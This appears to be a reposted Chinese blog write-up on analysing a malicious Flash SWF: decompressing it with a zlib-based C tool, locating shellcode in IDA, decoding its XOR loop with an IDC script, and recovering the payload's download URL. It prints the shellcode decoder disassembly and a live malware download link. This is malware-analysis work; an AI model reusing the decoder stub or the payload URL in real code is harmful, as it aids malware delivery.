概述
- flash文件shellcode提取
- 最近利用flash漏洞的SWF相当的多 提取里面的shellcode进而分析出里面的下载链接 很成问题
- 特地下了SWF9文件格式来看了下。。。。
- The header begins with a three-byte signature of either 0x46, 0x57, 0x53 (“FWS”); or 0x43,
- 0x57, 0x53 (“CWS”). An FWS signature indicates an uncompressed SWF file; CWS
- indicates that the entire file after the first 8 bytes (that is, after the FileLength field) was
- compressed by using the ZLIB open standard
- 上面这段英文的意思就是 SWF文件头由3字节的标识("FWS"或者"CWS")开始。"FWS"标识 表示SWF文件未被压缩
- "CWS"则表示 整个文件除开始的八字节外(换句话说,从文件长度域开始)已由开源的ZLIB压缩了
- 对于"CWS" 这类的SWF文件 需要解压缩后才可以提取SHELLCODE。"FWS"则可以直接提取
- 以今天抓到的一个SWF文件f64.swf为例:
- hiew查看二进制标识
- 00000000: 43 57 53 FF-FF FF FF 00-78 9C CD 54-5B 50 53 57 CWS???? x£═T[PSW
- 00000010: 14 BD F7 26-70 43 00 79-07 99 D1 1A-27 C6 5A 0C ?╜≈&pC y??╤→'╞Z♀
- 既然是压缩过的SWF 接下来需要解压 解压工具是自己写的,可以BAIDU相关工具,
- 也可以下载ZLIB 库自己动手写
- 解压后:
- 46 57 53 FF-68 07 00 00-30 0A 00 A0-00 0C 03 03 FWS?h? 0? á ♀??
- 44 11 08 FF-FF 00 43 02-FF FF FF C1-3F 20 BF 01 D???? C????┴? ┐?
- 解压后以后IDA载入, 在寻找shellcode起始代码的时候陷入了困境 把SWF格式
- 翻了个遍还是不知道,最后公司里的前辈说查找60h就可以了。。。。。
- 60h是pushad的机器码 一般shellcode都是以pushad开始。。。。
- seg000:000000F2 ; ---------------------------------------------------------------------------
- seg000:000000F2 pusha
- seg000:000000F3 jmp short loc_10B
- seg000:000000F5
- seg000:000000F5 ; =============== S U B R O U T I N E =======================================
- seg000:000000F5
- seg000:000000F5
- seg000:000000F5 sub_F5 proc near ; CODE XREF: sub_F5:loc_10Bp
- seg000:000000F5 pop ebx
- seg000:000000F6 xor edx, edx
- seg000:000000F8 mov ax, 0A789h
- seg000:000000FC
- seg000:000000FC loc_FC: ; CODE XREF: sub_F5+12j
- seg000:000000FC xor [ebx+edx*2], ax
- seg000:00000100 inc edx
- seg000:00000101 inc eax
- seg000:00000102 cmp dx, 151h
- seg000:00000107 jl short loc_FC
- seg000:00000109 jmp short loc_110
- seg000:0000010B ; ---------------------------------------------------------------------------
- seg000:0000010B
- seg000:0000010B loc_10B: ; CODE XREF: seg000:000000F3j
- seg000:0000010B call sub_F5
- seg000:00000110
- seg000:00000110 loc_110: ; CODE XREF: sub_F5+14j
- seg000:00000110 pusha
- seg000:00000111 retn 0A788h
- 运气正好 直接就找到了 找到起始代码 下一步就是找下载链接了。。现在的SHELLCODE都是模块设计了
- 一般链接都是加密后放在SHELLCODE最后。。。这里还是要先解密
- 上面F5H到109H处就是解密算法了 写个IDC脚本就可以了
- #include <idc.idc>
- static decode(start)
- {
- auto key;
- auto count;
- auto ea;
- key = 0xa789;
- count = 0x0;
- for(;count < 0x151; count = count+1)
- {
- ea = Word(start + count*2) ^ key;
- PatchWord(start + count*2, ea);
- key = key + 1;
- }
- }
- 载入脚本 输入decode(0x110)
- 解密完毕
- 往后找找 就可以找到下载链接了
- seg000:000003B1 db 0
- seg000:000003B2 db 0DAh ; ?
- seg000:000003B3 aHttpPppphhhss_ db 'http://pppphhhss.cn/1.exe',0
- 至于SHELLCODE 的详细分析 就没必要写了 就几百字节 IDA 直接看看就出来了
- 下附 解压CWS的源码 需要下载ZLIB库才能运行:
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <malloc.h>
- #include "zlib.h"
- #define MAX_PATH 256
- #define SWF_SIGN 4
- #pragma comment(lib, "zlib.lib")
- void main(int argc, char **argv)
- {
- char filename[MAX_PATH];
- char sign[SWF_SIGN];
- char version;
- FILE *prefile;
- FILE *newfile;
- char *prebuffer;
- char *newbuffer;
- unsigned int prelength;
- unsigned int newlength;
- if(*(++argv) == NULL)
- {
- printf("enter encode swf: /n");
- scanf("%s", filename);
- fflush(stdin);
- }
- else
- {
- strcpy(filename, *argv);
- }
- prefile = fopen(filename, "rb");
- if(!prefile)
- {
- printf("file open error/n");
- return;
- }
- fseek(prefile, 0L, SEEK_END);
- prelength = ftell(prefile);
- rewind(prefile);
- fread(sign, sizeof(char), SWF_SIGN - 1, prefile);
- sign[SWF_SIGN - 1] = '/0';
- if(strcmp(sign, "FWS") == 0)
- {
- printf("it is not cws/n");
- return;
- }
- else if(strcmp(sign, "CWS"))
- {
- printf("it is invalid swf file/n");
- return;
- }
- if((prebuffer = (char *)malloc(prelength)) == NULL)
- {
- printf("malloc error/n");
- return;
- }
- version = fgetc(prefile);
- fread(&newlength, sizeof(int), 1, prefile);
- if((newbuffer = (char *)malloc(newlength)) == NULL)
- {
- printf("malloc new error/n");
- return;
- }
- fread(prebuffer, sizeof(char), prelength-8, prefile);
- uncompress(newbuffer, &newlength, prebuffer, prelength-8);
- strcat(filename, ".bin");
- newfile = fopen(filename, "wb");
- fwrite("FWS", sizeof(char), strlen("FWS"), newfile);
- fwrite(&version, sizeof(version), 1, newfile);
- fwrite(&newlength, sizeof(int), 1, newfile);
- fwrite(newbuffer, sizeof(char), newlength, newfile);
- fclose(newfile);
- fclose(prefile);
- free(prebuffer);
- free(newbuffer);
- getchar();
- }
最后
以上就是细心大白为你收集整理的flash文件shellcode提取的全部内容,希望文章能够帮你解决flash文件shellcode提取所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复